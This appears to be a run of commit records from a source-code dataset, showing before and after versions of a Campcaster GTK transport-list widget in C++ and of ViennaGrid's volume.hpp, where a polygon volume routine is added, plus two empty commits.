storage->checkTransport(\n iter->get_value(modelColumns.tokenColumn),\n errorMsg);\n \n return setStatus(iter, status, errorMsg);\n}\n\n\n\/*------------------------------------------------------------------------------\n * Set the status of the row pointed to by an iterator.\n *----------------------------------------------------------------------------*\/\nbool\nTransportList :: setStatus(Gtk::TreeIter iter,\n AsyncState status,\n Ptr<const Glib::ustring>::Ref errorMsg)\n throw ()\n{\n if (status == AsyncState::pendingState) {\n iter->set_value(modelColumns.statusColumn,\n workingStatusKey);\n iter->set_value(modelColumns.statusDisplayColumn, \n *getResourceUstring(workingStatusKey));\n return false;\n \n } else if (status == AsyncState::finishedState\n || status == AsyncState::closedState) {\n iter->set_value(modelColumns.statusColumn,\n successStatusKey);\n iter->set_value(modelColumns.statusDisplayColumn, \n *getResourceUstring(successStatusKey));\n return true;\n \n } else if (status == AsyncState::failedState) {\n iter->set_value(modelColumns.statusColumn,\n faultStatusKey);\n iter->set_value(modelColumns.statusDisplayColumn, \n *formatMessage(faultStatusKey, *errorMsg));\n return false;\n \n } else {\n std::cerr << \"Impossible status: '\" << status\n << \"' in TransportList::setStatus().\"\n << std::endl;\n }\n \n return false;\n}\n\n\n\/*------------------------------------------------------------------------------\n * Return the contents of the transport list.\n *----------------------------------------------------------------------------*\/\nPtr<Glib::ustring>::Ref\nTransportList :: getContents(void) throw ()\n{\n std::ostringstream contentsStream;\n Gtk::TreeModel::const_iterator it;\n Ptr<Glib::ustring>::Ref token;\n \n for (it = treeModel->children().begin(); \n it != treeModel->children().end(); ++it) {\n Gtk::TreeRow row = *it;\n if (row[modelColumns.statusColumn] == workingStatusKey) {\n if (row[modelColumns.directionColumn] == uploadSymbol) {\n contentsStream << \"up\\n\";\n } else {\n contentsStream << \"down\\n\";\n }\n contentsStream << row[modelColumns.titleColumn] << '\\n';\n contentsStream << row[modelColumns.dateColumn] << '\\n';\n token = row[modelColumns.tokenColumn];\n contentsStream << *token << '\\n';\n }\n }\n\n Ptr<Glib::ustring>::Ref contents(new Glib::ustring(\n contentsStream.str() ));\n return contents;\n}\n\n\n\/*------------------------------------------------------------------------------\n * Restore the contents of the transport list.\n *----------------------------------------------------------------------------*\/\nvoid\nTransportList :: setContents(Ptr<const Glib::ustring>::Ref contents)\n throw ()\n{\n std::istringstream contentsStream(contents->raw());\n \n treeModel->clear();\n while (!contentsStream.eof()) {\n std::string direction;\n std::string title;\n std::string date;\n std::string token;\n\n std::getline(contentsStream, direction);\n if (contentsStream.fail()) {\n break;\n }\n std::getline(contentsStream, title);\n if (contentsStream.fail()) {\n break;\n }\n std::getline(contentsStream, date);\n if (contentsStream.fail()) {\n break;\n }\n std::getline(contentsStream, token);\n if (contentsStream.fail()) {\n break;\n }\n \n try {\n add(title, date, token, (direction == \"up\"));\n \n } catch (XmlRpcException &e) {\n }\n }\n}\n\n\n\/*------------------------------------------------------------------------------\n * Event handler for an entry being clicked in the list.\n *----------------------------------------------------------------------------*\/\nvoid\nTransportList :: onEntryClicked(GdkEventButton * event) throw ()\n{\n if (event->type == GDK_BUTTON_PRESS && event->button == 3) {\n Gtk::TreePath currentPath;\n Gtk::TreeViewColumn * column;\n int cell_x,\n cell_y;\n bool foundValidRow = treeView->get_path_at_pos(\n int(event->x), int(event->y),\n currentPath, column,\n cell_x, cell_y);\n\n if (foundValidRow) {\n Gtk::TreeIter iter = treeModel->get_iter(currentPath);\n if (iter) {\n Gtk::TreeRow row = *iter;\n if (row[modelColumns.directionColumn] == uploadSymbol) {\n uploadMenu->popup(event->button, event->time);\n } else {\n downloadMenu->popup(event->button, event->time);\n }\n }\n }\n }\n}\n\n\n\/*------------------------------------------------------------------------------\n * Event handler for \"cancel\" selected from the pop-up menu.\n *----------------------------------------------------------------------------*\/\nvoid\nTransportList :: onCancelTransport(void) throw ()\n{\n try {\n removeSelected();\n\n } catch (XmlRpcException &e) {\n gLiveSupport->displayMessageWindow(formatMessage(\n \"cannotCancelTransportMsg\",\n e.what() ));\n } \n}\n\n<commit_msg>fixing #1871<commit_after>\/*------------------------------------------------------------------------------\n\n Copyright (c) 2004 Media Development Loan Fund\n \n This file is part of the Campcaster project.\n http:\/\/campcaster.campware.org\/\n To report bugs, send an e-mail to bugs@campware.org\n \n Campcaster is free software; you can redistribute it and\/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation; either version 2 of the License, or\n (at your option) any later version.\n \n Campcaster is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n \n You should have received a copy of the GNU General Public License\n along with Campcaster; if not, write to the Free Software\n Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA\n \n \n Author : $Author: fgerlits $\n Version : $Revision$\n Location : $URL: svn+ssh:\/\/fgerlits@code.campware.org\/home\/svn\/repo\/livesupport\/trunk\/livesupport\/src\/products\/gLiveSupport\/src\/TransportList.cxx $\n\n------------------------------------------------------------------------------*\/\n\n\/* ============================================================ include files *\/\n\n#ifdef HAVE_CONFIG_H\n#include \"configure.h\"\n#endif\n\n#include \"LiveSupport\/Core\/TimeConversion.h\"\n#include \"TransportList.h\"\n\n\nusing namespace LiveSupport::Core;\nusing namespace LiveSupport::StorageClient;\nusing namespace LiveSupport::Widgets;\nusing namespace LiveSupport::GLiveSupport;\n\n\/* =================================================== local data structures *\/\n\n\n\/* ================================================ local constants & macros *\/\n\nnamespace {\n\n\/*------------------------------------------------------------------------------\n * The localization key for the 'working' status.\n *----------------------------------------------------------------------------*\/\nconst Glib::ustring workingStatusKey = \"workingStatus\";\n\n\/*------------------------------------------------------------------------------\n * The localization key for the 'success' status.\n *----------------------------------------------------------------------------*\/\nconst Glib::ustring successStatusKey = \"successStatus\";\n\n\/*------------------------------------------------------------------------------\n * The localization key for the 'fault' status.\n *----------------------------------------------------------------------------*\/\nconst Glib::ustring faultStatusKey = \"faultStatus\";\n\n\/*------------------------------------------------------------------------------\n * The name of the user preference for storing the list of transports.\n *----------------------------------------------------------------------------*\/\nconst Glib::ustring userPreferencesKeyName = \"activeTransports\";\n\n\/*------------------------------------------------------------------------------\n * The symbol for an upload.\n *----------------------------------------------------------------------------*\/\nconst Glib::ustring uploadSymbol = \"⇧\";\n\n\/*------------------------------------------------------------------------------\n * The symbol for a download.\n *----------------------------------------------------------------------------*\/\nconst Glib::ustring downloadSymbol = \"⇩\";\n\n}\n\n\/* =============================================== local function prototypes *\/\n\n\n\/* ============================================================= module code *\/\n\n\/*------------------------------------------------------------------------------\n * Constructor.\n *----------------------------------------------------------------------------*\/\nTransportList :: TransportList (Ptr<GLiveSupport>::Ref gLiveSupport,\n Ptr<ResourceBundle>::Ref bundle)\n throw ()\n : LocalizedObject(bundle),\n gLiveSupport(gLiveSupport)\n{\n Ptr<WidgetFactory>::Ref widgetFactory = WidgetFactory::getInstance();\n\n \/\/ create the tree view\n treeModel = Gtk::ListStore::create(modelColumns);\n treeView = Gtk::manage(widgetFactory->createTreeView(treeModel));\n treeView->set_enable_search(false);\n\n \/\/ Add the TreeView's view columns:\n try {\n treeView->appendColumn(\"\",\n modelColumns.directionColumn, 20);\n treeView->appendColumn(*getResourceUstring(\"titleColumnLabel\"),\n modelColumns.titleColumn, 300);\n treeView->appendColumn(*getResourceUstring(\"dateColumnLabel\"),\n modelColumns.dateColumn, 180);\n treeView->appendColumn(*getResourceUstring(\"statusColumnLabel\"),\n modelColumns.statusDisplayColumn, 50);\n } catch (std::invalid_argument &e) {\n std::cerr << e.what() << std::endl;\n std::exit(1);\n }\n \n \/\/ register the signal handler for treeview entries being clicked\n treeView->signal_button_press_event().connect_notify(sigc::mem_fun(*this,\n &TransportList::onEntryClicked));\n\n \/\/ create the right-click entry context menu\n uploadMenu = Gtk::manage(new Gtk::Menu());\n downloadMenu = Gtk::manage(new Gtk::Menu());\n Gtk::Menu::MenuList& uploadMenuList = uploadMenu->items();\n Gtk::Menu::MenuList& downloadMenuList = downloadMenu->items();\n \n try{\n uploadMenuList.push_back(Gtk::Menu_Helpers::MenuElem(\n *getResourceUstring(\"cancelUploadMenuItem\"),\n sigc::mem_fun(*this,\n &TransportList::onCancelTransport)));\n downloadMenuList.push_back(Gtk::Menu_Helpers::MenuElem(\n *getResourceUstring(\"cancelDownloadMenuItem\"),\n sigc::mem_fun(*this,\n &TransportList::onCancelTransport)));\n } catch (std::invalid_argument &e) {\n std::cerr << e.what() << std::endl;\n std::exit(1);\n }\n \n uploadMenu->accelerate(*this);\n downloadMenu->accelerate(*this);\n\n \/\/ add the tree view to this widget\n Gtk::VBox::pack_start(*treeView);\n\n userPreferencesKey.reset(new const Glib::ustring(userPreferencesKeyName));\n}\n\n\n\/*------------------------------------------------------------------------------\n * Add a new upload task to the list.\n *----------------------------------------------------------------------------*\/\nvoid\nTransportList :: addUpload(Ptr<Playable>::Ref playable)\n throw (XmlRpcException)\n{\n Ptr<StorageClientInterface>::Ref \n storage = gLiveSupport->getStorageClient();\n Ptr<SessionId>::Ref sessionId = gLiveSupport->getSessionId();\n \n Ptr<Glib::ustring>::Ref token = storage->uploadToHub(sessionId,\n playable->getId());\n \n Gtk::TreeRow row = *treeModel->append();\n row[modelColumns.directionColumn] = uploadSymbol;\n row[modelColumns.titleColumn] = *playable->getTitle();\n row[modelColumns.dateColumn] = *TimeConversion::nowString();\n row[modelColumns.statusColumn] = workingStatusKey;\n row[modelColumns.statusDisplayColumn] \n = *getResourceUstring(workingStatusKey);\n row[modelColumns.tokenColumn] = token;\n}\n\n\n\/*------------------------------------------------------------------------------\n * Add a new download task to the list.\n *----------------------------------------------------------------------------*\/\nvoid\nTransportList :: addDownload(Ptr<Playable>::Ref playable)\n throw (XmlRpcException)\n{\n Ptr<StorageClientInterface>::Ref \n storage = gLiveSupport->getStorageClient();\n Ptr<SessionId>::Ref sessionId = gLiveSupport->getSessionId();\n \n Ptr<Glib::ustring>::Ref token = storage->downloadFromHub(\n sessionId,\n playable->getId());\n \n Gtk::TreeRow row = *treeModel->append();\n row[modelColumns.directionColumn] = downloadSymbol;\n row[modelColumns.titleColumn] = *playable->getTitle();\n row[modelColumns.dateColumn] = *TimeConversion::nowString();\n row[modelColumns.statusColumn] = workingStatusKey;\n row[modelColumns.statusDisplayColumn] \n = *getResourceUstring(workingStatusKey);\n row[modelColumns.tokenColumn] = token;\n}\n\n\n\/*------------------------------------------------------------------------------\n * Add an item with an already existing token to the list.\n *----------------------------------------------------------------------------*\/\nvoid\nTransportList :: add(const Glib::ustring & title,\n const Glib::ustring & date,\n const Glib::ustring & token,\n bool isUpload)\n throw (XmlRpcException)\n{\n Ptr<StorageClientInterface>::Ref \n storage = gLiveSupport->getStorageClient();\n Ptr<SessionId>::Ref sessionId = gLiveSupport->getSessionId();\n \n Ptr<Glib::ustring>::Ref tokenPtr(new Glib::ustring(token));\n Ptr<Glib::ustring>::Ref errorMsg(new Glib::ustring);\n AsyncState state = storage->checkTransport(tokenPtr,\n errorMsg);\n \n Gtk::TreeRow row = *treeModel->append();\n row[modelColumns.directionColumn] = isUpload ? uploadSymbol\n : downloadSymbol;\n row[modelColumns.titleColumn] = title;\n row[modelColumns.dateColumn] = date;\n row[modelColumns.tokenColumn] = tokenPtr;\n setStatus(row, state, errorMsg);\n}\n\n\n\/*------------------------------------------------------------------------------\n * Remove the currently selected item from the list.\n *----------------------------------------------------------------------------*\/\nvoid\nTransportList :: removeSelected(void) throw (XmlRpcException)\n{\n Glib::RefPtr<Gtk::TreeSelection> selection = treeView->get_selection();\n Gtk::TreeIter iter = selection->get_selected();\n if (!iter) {\n return;\n }\n\n Ptr<StorageClientInterface>::Ref \n storage = gLiveSupport->getStorageClient();\n Ptr<SessionId>::Ref sessionId = gLiveSupport->getSessionId();\n \n storage->cancelTransport(sessionId, \n iter->get_value(modelColumns.tokenColumn));\n \n treeModel->erase(iter);\n}\n\n\n\/*------------------------------------------------------------------------------\n * Query the storage server about the status of the pending transport.\n *----------------------------------------------------------------------------*\/\nbool\nTransportList :: updateSelected(void) throw (XmlRpcException)\n{\n Glib::RefPtr<Gtk::TreeSelection> selection = treeView->get_selection();\n Gtk::TreeIter iter = selection->get_selected();\n if (!iter) {\n return false;\n } else {\n return update(iter);\n }\n}\n\n\n\/*------------------------------------------------------------------------------\n * Query the storage server about the status of the pending transport.\n *----------------------------------------------------------------------------*\/\nbool\nTransportList :: update(void) throw (XmlRpcException)\n{\n bool didSomething = false;\n \n for (Gtk::TreeIter it = treeModel->children().begin();\n it != treeModel->children().end(); ++it) {\n didSomething |= update(it);\n }\n \n return didSomething;\n}\n\n\n\/*------------------------------------------------------------------------------\n * Query the storage server about the status of the pending transport.\n *----------------------------------------------------------------------------*\/\nbool\nTransportList :: updateSilently(void) throw ()\n{\n bool didSomething = false;\n \n for (Gtk::TreeIter it = treeModel->children().begin();\n it != treeModel->children().end(); ++it) {\n try {\n didSomething |= update(it);\n } catch (XmlRpcException &e) {\n }\n }\n \n return didSomething;\n}\n\n\n\/*------------------------------------------------------------------------------\n * Query the storage server about the status of the pending transport.\n *----------------------------------------------------------------------------*\/\nbool\nTransportList :: update(Gtk::TreeIter iter) throw (XmlRpcException)\n{\n if (iter->get_value(modelColumns.statusColumn) != workingStatusKey) {\n return false;\n }\n \n Ptr<StorageClientInterface>::Ref \n storage = gLiveSupport->getStorageClient();\n Ptr<Glib::ustring>::Ref errorMsg(new Glib::ustring);\n AsyncState status = storage->checkTransport(\n iter->get_value(modelColumns.tokenColumn),\n errorMsg);\n \n return setStatus(iter, status, errorMsg);\n}\n\n\n\/*------------------------------------------------------------------------------\n * Set the status of the row pointed to by an iterator.\n *----------------------------------------------------------------------------*\/\nbool\nTransportList :: setStatus(Gtk::TreeIter iter,\n AsyncState status,\n Ptr<const Glib::ustring>::Ref errorMsg)\n throw ()\n{\n if (status == AsyncState::initState\n || status == AsyncState::pendingState) {\n iter->set_value(modelColumns.statusColumn,\n workingStatusKey);\n iter->set_value(modelColumns.statusDisplayColumn, \n *getResourceUstring(workingStatusKey));\n return false;\n \n } else if (status == AsyncState::finishedState\n || status == AsyncState::closedState) {\n iter->set_value(modelColumns.statusColumn,\n successStatusKey);\n iter->set_value(modelColumns.statusDisplayColumn, \n *getResourceUstring(successStatusKey));\n return true;\n \n } else if (status == AsyncState::failedState) {\n iter->set_value(modelColumns.statusColumn,\n faultStatusKey);\n iter->set_value(modelColumns.statusDisplayColumn, \n *formatMessage(faultStatusKey, *errorMsg));\n return false;\n \n } else {\n std::cerr << \"Impossible status: '\" << status\n << \"' in TransportList::setStatus().\"\n << std::endl;\n }\n \n return false;\n}\n\n\n\/*------------------------------------------------------------------------------\n * Return the contents of the transport list.\n *----------------------------------------------------------------------------*\/\nPtr<Glib::ustring>::Ref\nTransportList :: getContents(void) throw ()\n{\n std::ostringstream contentsStream;\n Gtk::TreeModel::const_iterator it;\n Ptr<Glib::ustring>::Ref token;\n \n for (it = treeModel->children().begin(); \n it != treeModel->children().end(); ++it) {\n Gtk::TreeRow row = *it;\n if (row[modelColumns.statusColumn] == workingStatusKey) {\n if (row[modelColumns.directionColumn] == uploadSymbol) {\n contentsStream << \"up\\n\";\n } else {\n contentsStream << \"down\\n\";\n }\n contentsStream << row[modelColumns.titleColumn] << '\\n';\n contentsStream << row[modelColumns.dateColumn] << '\\n';\n token = row[modelColumns.tokenColumn];\n contentsStream << *token << '\\n';\n }\n }\n\n Ptr<Glib::ustring>::Ref contents(new Glib::ustring(\n contentsStream.str() ));\n return contents;\n}\n\n\n\/*------------------------------------------------------------------------------\n * Restore the contents of the transport list.\n *----------------------------------------------------------------------------*\/\nvoid\nTransportList :: setContents(Ptr<const Glib::ustring>::Ref contents)\n throw ()\n{\n std::istringstream contentsStream(contents->raw());\n \n treeModel->clear();\n while (!contentsStream.eof()) {\n std::string direction;\n std::string title;\n std::string date;\n std::string token;\n\n std::getline(contentsStream, direction);\n if (contentsStream.fail()) {\n break;\n }\n std::getline(contentsStream, title);\n if (contentsStream.fail()) {\n break;\n }\n std::getline(contentsStream, date);\n if (contentsStream.fail()) {\n break;\n }\n std::getline(contentsStream, token);\n if (contentsStream.fail()) {\n break;\n }\n \n try {\n add(title, date, token, (direction == \"up\"));\n \n } catch (XmlRpcException &e) {\n }\n }\n}\n\n\n\/*------------------------------------------------------------------------------\n * Event handler for an entry being clicked in the list.\n *----------------------------------------------------------------------------*\/\nvoid\nTransportList :: onEntryClicked(GdkEventButton * event) throw ()\n{\n if (event->type == GDK_BUTTON_PRESS && event->button == 3) {\n Gtk::TreePath currentPath;\n Gtk::TreeViewColumn * column;\n int cell_x,\n cell_y;\n bool foundValidRow = treeView->get_path_at_pos(\n int(event->x), int(event->y),\n currentPath, column,\n cell_x, cell_y);\n\n if (foundValidRow) {\n Gtk::TreeIter iter = treeModel->get_iter(currentPath);\n if (iter) {\n Gtk::TreeRow row = *iter;\n if (row[modelColumns.directionColumn] == uploadSymbol) {\n uploadMenu->popup(event->button, event->time);\n } else {\n downloadMenu->popup(event->button, event->time);\n }\n }\n }\n }\n}\n\n\n\/*------------------------------------------------------------------------------\n * Event handler for \"cancel\" selected from the pop-up menu.\n *----------------------------------------------------------------------------*\/\nvoid\nTransportList :: onCancelTransport(void) throw ()\n{\n try {\n removeSelected();\n\n } catch (XmlRpcException &e) {\n gLiveSupport->displayMessageWindow(formatMessage(\n \"cannotCancelTransportMsg\",\n e.what() ));\n } \n}\n\n<|endoftext|>"} {"text":"<commit_before><commit_msg>tdf#89381 Revert \"vcl: SalGraphics::mirror() - always use GetGraphicsWidth()\"<commit_after><|endoftext|>"} {"text":"<commit_before><commit_msg>Signed-off-by: xsmart <xsmart@veyesys.com><commit_after><|endoftext|>"} {"text":"<commit_before>#ifndef VIENNAGRID_ALGORITHM_VOLUME_HPP\n#define VIENNAGRID_ALGORITHM_VOLUME_HPP\n\n\/* =======================================================================\n Copyright (c) 2011-2012, Institute for Microelectronics,\n Institute for Analysis and Scientific Computing,\n TU Wien.\n\n -----------------\n ViennaGrid - The Vienna Grid Library\n -----------------\n\n Authors: Karl Rupp rupp@iue.tuwien.ac.at\n Josef Weinbub weinbub@iue.tuwien.ac.at\n \n (A list of additional contributors can be found in the PDF manual)\n\n License: MIT (X11), see file LICENSE in the base directory\n======================================================================= *\/\n\n#include <iostream>\n#include <sstream>\n#include <string>\n#include <stdexcept>\n\n#include \"viennagrid\/forwards.h\"\n#include \"viennagrid\/topology\/all.hpp\"\n#include \"viennagrid\/algorithm\/norm.hpp\"\n#include \"viennagrid\/algorithm\/spanned_volume.hpp\"\n\n\/** @file volume.hpp\n @brief Computes the volume of different cell types as well as domains and segments\n*\/\n\n\nnamespace viennagrid\n{\n namespace detail\n {\n \n \/** @brief Computes the volume of topologically zero-dimensional elements (vertices). Degenerate case, returns 1 *\/\n template <typename ElementType>\n typename ElementType::config_type::numeric_type\n volume_impl(ElementType const & cell, viennagrid::point_tag)\n {\n return typename ElementType::config_type::numeric_type(1);\n }\n \n \/** @brief Computes the volume of topologically one-dimensional elements (lines, 1-simplex).*\/\n template <typename ElementType>\n typename ElementType::config_type::numeric_type\n volume_impl(ElementType const & cell, viennagrid::simplex_tag<1>)\n {\n typedef typename ElementType::config_type ConfigType;\n typedef typename viennagrid::result_of::point<ConfigType>::type PointType;\n typedef typename viennagrid::result_of::const_ncell_range<ElementType, 0>::type VertexOnCellContainer;\n \n PointType const & p0 = ncells<0>(cell)[0].point();\n PointType const & p1 = ncells<0>(cell)[1].point();\n \n return norm(p0 - p1);\n }\n \n \/** @brief Computes the volume of topologically one-dimensional elements (lines, 1-hypercube).*\/\n template <typename ElementType>\n typename ElementType::config_type::numeric_type\n volume_impl(ElementType const & cell, viennagrid::hypercube_tag<1>)\n {\n return volume_impl(cell, viennagrid::simplex_tag<1>());\n }\n\n \/\/topologically two-dimensional elements\n \/** @brief Computes the two-dimensional volume of a triangle.*\/\n template <typename ElementType>\n typename ElementType::config_type::numeric_type\n volume_impl(ElementType const & cell, viennagrid::triangle_tag)\n {\n typedef typename ElementType::config_type ConfigType;\n typedef typename viennagrid::result_of::point<ConfigType>::type PointType;\n typedef typename viennagrid::result_of::const_ncell_range<ElementType, 0>::type VertexOnCellContainer;\n \n PointType const & p0 = ncells<0>(cell)[0].point();\n PointType const & p1 = ncells<0>(cell)[1].point();\n PointType const & p2 = ncells<0>(cell)[2].point();\n \n return spanned_volume(p0, p1, p2);\n }\n\n \/** @brief Computes the two-dimensional volume of a quadrilateral.*\/\n template <typename ElementType>\n typename ElementType::config_type::numeric_type\n volume_impl(ElementType const & cell, viennagrid::quadrilateral_tag)\n {\n typedef typename ElementType::config_type ConfigType;\n typedef typename viennagrid::result_of::point<ConfigType>::type PointType;\n typedef typename viennagrid::result_of::const_ncell_range<ElementType, 0>::type VertexOnCellContainer;\n \n PointType const & p0 = ncells<0>(cell)[0].point();\n PointType const & p1 = ncells<0>(cell)[1].point();\n PointType const & p2 = ncells<0>(cell)[2].point();\n PointType const & p3 = ncells<0>(cell)[3].point();\n \n return spanned_volume(p0, p1, p3) + spanned_volume(p1, p2, p3); \/\/sum up the two triangular parts\n }\n\n \/\/topologically three-dimensional elements\n \/** @brief Computes the three-dimensional volume of a tetrahedron.*\/\n template <typename ElementType>\n typename ElementType::config_type::numeric_type\n volume_impl(ElementType const & cell, viennagrid::tetrahedron_tag)\n {\n typedef typename ElementType::config_type ConfigType;\n typedef typename viennagrid::result_of::point<ConfigType>::type PointType;\n typedef typename viennagrid::result_of::const_ncell_range<ElementType, 0>::type VertexOnCellContainer;\n \n PointType const & p0 = ncells<0>(cell)[0].point();\n PointType const & p1 = ncells<0>(cell)[1].point();\n PointType const & p2 = ncells<0>(cell)[2].point();\n PointType const & p3 = ncells<0>(cell)[3].point();\n \n return spanned_volume(p0, p1, p2, p3);\n }\n\n\n \/** @brief Computes the three-dimensional volume of a hexahedron.*\/\n template <typename ElementType>\n typename ElementType::config_type::numeric_type\n volume_impl(ElementType const & cell, viennagrid::hexahedron_tag)\n {\n typedef typename ElementType::config_type ConfigType;\n typedef typename viennagrid::result_of::point<ConfigType>::type PointType;\n typedef typename viennagrid::result_of::const_ncell_range<ElementType, 0>::type VertexOnCellContainer;\n \n PointType const & p0 = ncells<0>(cell)[0].point();\n PointType const & p1 = ncells<0>(cell)[1].point();\n PointType const & p2 = ncells<0>(cell)[2].point();\n PointType const & p3 = ncells<0>(cell)[3].point();\n PointType const & p4 = ncells<0>(cell)[4].point();\n PointType const & p5 = ncells<0>(cell)[5].point();\n PointType const & p6 = ncells<0>(cell)[6].point();\n PointType const & p7 = ncells<0>(cell)[7].point();\n \n \/\/decompose hexahedron into six tetrahedra\n return spanned_volume(p0, p1, p3, p4)\n + spanned_volume(p4, p1, p3, p7)\n + spanned_volume(p4, p1, p7, p5)\n + spanned_volume(p1, p2, p3, p7)\n + spanned_volume(p1, p2, p7, p5)\n + spanned_volume(p5, p2, p7, p6);\n }\n \n\n \/\/\n \/** @brief Dispatched function for computing the volume of a domain or segment.*\/\n template <typename ContainerType>\n typename ContainerType::config_type::numeric_type\n volume_domainsegment(ContainerType const & d)\n {\n typedef ContainerType DomainType;\n typedef typename ContainerType::config_type::cell_tag CellTag;\n \n typedef typename viennagrid::result_of::const_ncell_range<DomainType, CellTag::dim>::type CellContainer;\n typedef typename viennagrid::result_of::iterator<CellContainer>::type CellIterator;\n \n typename ContainerType::config_type::numeric_type new_volume = 0;\n CellContainer new_cells = viennagrid::ncells<CellTag::dim>(d);\n for (CellIterator new_cit = new_cells.begin();\n new_cit != new_cells.end();\n ++new_cit)\n {\n new_volume += volume(*new_cit);\n }\n return new_volume;\n }\n } \/\/namespace detail\n \n \/\/\n \/\/ The public interface functions\n \/\/\n \/** @brief Returns the n-dimensional volume of a n-cell *\/\n template <typename ElementType>\n typename ElementType::config_type::numeric_type\n volume(ElementType const & cell)\n {\n return detail::volume_impl(cell, typename ElementType::tag());\n }\n \n \/\/special case: domain\n \/** @brief Returns the N-dimensional volume of a domain, where the cell type has topological dimension N. *\/\n template <typename ConfigType>\n typename ConfigType::numeric_type\n volume(domain_t<ConfigType> const & d)\n {\n return detail::volume_domainsegment(d);\n } \n \n \/\/special case: segment\n \/** @brief Returns the N-dimensional volume of a segment, where the cell type has topological dimension N. *\/\n template <typename ConfigType>\n typename ConfigType::numeric_type\n volume(segment_t<ConfigType> const & d)\n {\n return detail::volume_domainsegment(d);\n }\n \n} \/\/namespace viennagrid\n#endif\n<commit_msg>added volume algorithm for polygon<commit_after>#ifndef VIENNAGRID_ALGORITHM_VOLUME_HPP\n#define VIENNAGRID_ALGORITHM_VOLUME_HPP\n\n\/* =======================================================================\n Copyright (c) 2011-2012, Institute for Microelectronics,\n Institute for Analysis and Scientific Computing,\n TU Wien.\n\n -----------------\n ViennaGrid - The Vienna Grid Library\n -----------------\n\n Authors: Karl Rupp rupp@iue.tuwien.ac.at\n Josef Weinbub weinbub@iue.tuwien.ac.at\n \n (A list of additional contributors can be found in the PDF manual)\n\n License: MIT (X11), see file LICENSE in the base directory\n======================================================================= *\/\n\n#include <iostream>\n#include <sstream>\n#include <string>\n#include <stdexcept>\n\n#include \"viennagrid\/forwards.h\"\n#include \"viennagrid\/topology\/all.hpp\"\n#include \"viennagrid\/algorithm\/norm.hpp\"\n#include \"viennagrid\/algorithm\/spanned_volume.hpp\"\n\n\/** @file volume.hpp\n @brief Computes the volume of different cell types as well as domains and segments\n*\/\n\n\nnamespace viennagrid\n{\n namespace detail\n {\n \n \/** @brief Computes the volume of topologically zero-dimensional elements (vertices). Degenerate case, returns 1 *\/\n template <typename ElementType>\n typename ElementType::config_type::numeric_type\n volume_impl(ElementType const & cell, viennagrid::point_tag)\n {\n return typename ElementType::config_type::numeric_type(1);\n }\n \n \/** @brief Computes the volume of topologically one-dimensional elements (lines, 1-simplex).*\/\n template <typename ElementType>\n typename ElementType::config_type::numeric_type\n volume_impl(ElementType const & cell, viennagrid::simplex_tag<1>)\n {\n typedef typename ElementType::config_type ConfigType;\n typedef typename viennagrid::result_of::point<ConfigType>::type PointType;\n typedef typename viennagrid::result_of::const_ncell_range<ElementType, 0>::type VertexOnCellContainer;\n \n PointType const & p0 = ncells<0>(cell)[0].point();\n PointType const & p1 = ncells<0>(cell)[1].point();\n \n return norm(p0 - p1);\n }\n \n \/** @brief Computes the volume of topologically one-dimensional elements (lines, 1-hypercube).*\/\n template <typename ElementType>\n typename ElementType::config_type::numeric_type\n volume_impl(ElementType const & cell, viennagrid::hypercube_tag<1>)\n {\n return volume_impl(cell, viennagrid::simplex_tag<1>());\n }\n\n \/\/topologically two-dimensional elements\n \/** @brief Computes the two-dimensional volume of a triangle.*\/\n template <typename ElementType>\n typename ElementType::config_type::numeric_type\n volume_impl(ElementType const & cell, viennagrid::triangle_tag)\n {\n typedef typename ElementType::config_type ConfigType;\n typedef typename viennagrid::result_of::point<ConfigType>::type PointType;\n typedef typename viennagrid::result_of::const_ncell_range<ElementType, 0>::type VertexOnCellContainer;\n \n PointType const & p0 = ncells<0>(cell)[0].point();\n PointType const & p1 = ncells<0>(cell)[1].point();\n PointType const & p2 = ncells<0>(cell)[2].point();\n \n return spanned_volume(p0, p1, p2);\n }\n\n \/** @brief Computes the two-dimensional volume of a quadrilateral.*\/\n template <typename ElementType>\n typename ElementType::config_type::numeric_type\n volume_impl(ElementType const & cell, viennagrid::quadrilateral_tag)\n {\n typedef typename ElementType::config_type ConfigType;\n typedef typename viennagrid::result_of::point<ConfigType>::type PointType;\n typedef typename viennagrid::result_of::const_ncell_range<ElementType, 0>::type VertexOnCellContainer;\n \n PointType const & p0 = ncells<0>(cell)[0].point();\n PointType const & p1 = ncells<0>(cell)[1].point();\n PointType const & p2 = ncells<0>(cell)[2].point();\n PointType const & p3 = ncells<0>(cell)[3].point();\n \n return spanned_volume(p0, p1, p3) + spanned_volume(p1, p2, p3); \/\/sum up the two triangular parts\n }\n \n \n \/** @brief Computes the two-dimensional volume of a polygon.*\/\n template <typename ElementType>\n typename ElementType::config_type::numeric_type\n volume_impl(ElementType const & cell, viennagrid::polygon_tag)\n {\n typedef typename ElementType::config_type ConfigType;\n typedef typename ElementType::config_type::numeric_type NumericType;\n typedef typename viennagrid::result_of::point<ConfigType>::type PointType;\n typedef typename viennagrid::result_of::const_ncell_range<ElementType, 0>::type VertexOnCellContainer;\n typedef typename viennagrid::result_of::iterator<VertexOnCellContainer>::type VertexOnCellIterator;\n \n \n VertexOnCellContainer range = viennagrid::ncells<0>( cell );\n if (range.size() < 3) return 0;\n VertexOnCellIterator it1 = range.begin();\n VertexOnCellIterator it2 = it1; ++it2;\n \n PointType origin = it1->point();\n \n NumericType volume = 0;\n \n for (; it2 != range.end(); ++it1, ++it2)\n volume += signed_spanned_volume(origin, it1->point(), it2->point());\n \n\n it1 = range.end(); --it1;\n volume += signed_spanned_volume( origin, it1->point(), range.begin()->point());\n \n return std::abs(volume);\n }\n \n\n \/\/topologically three-dimensional elements\n \/** @brief Computes the three-dimensional volume of a tetrahedron.*\/\n template <typename ElementType>\n typename ElementType::config_type::numeric_type\n volume_impl(ElementType const & cell, viennagrid::tetrahedron_tag)\n {\n typedef typename ElementType::config_type ConfigType;\n typedef typename viennagrid::result_of::point<ConfigType>::type PointType;\n typedef typename viennagrid::result_of::const_ncell_range<ElementType, 0>::type VertexOnCellContainer;\n \n PointType const & p0 = ncells<0>(cell)[0].point();\n PointType const & p1 = ncells<0>(cell)[1].point();\n PointType const & p2 = ncells<0>(cell)[2].point();\n PointType const & p3 = ncells<0>(cell)[3].point();\n \n return spanned_volume(p0, p1, p2, p3);\n }\n\n\n \/** @brief Computes the three-dimensional volume of a hexahedron.*\/\n template 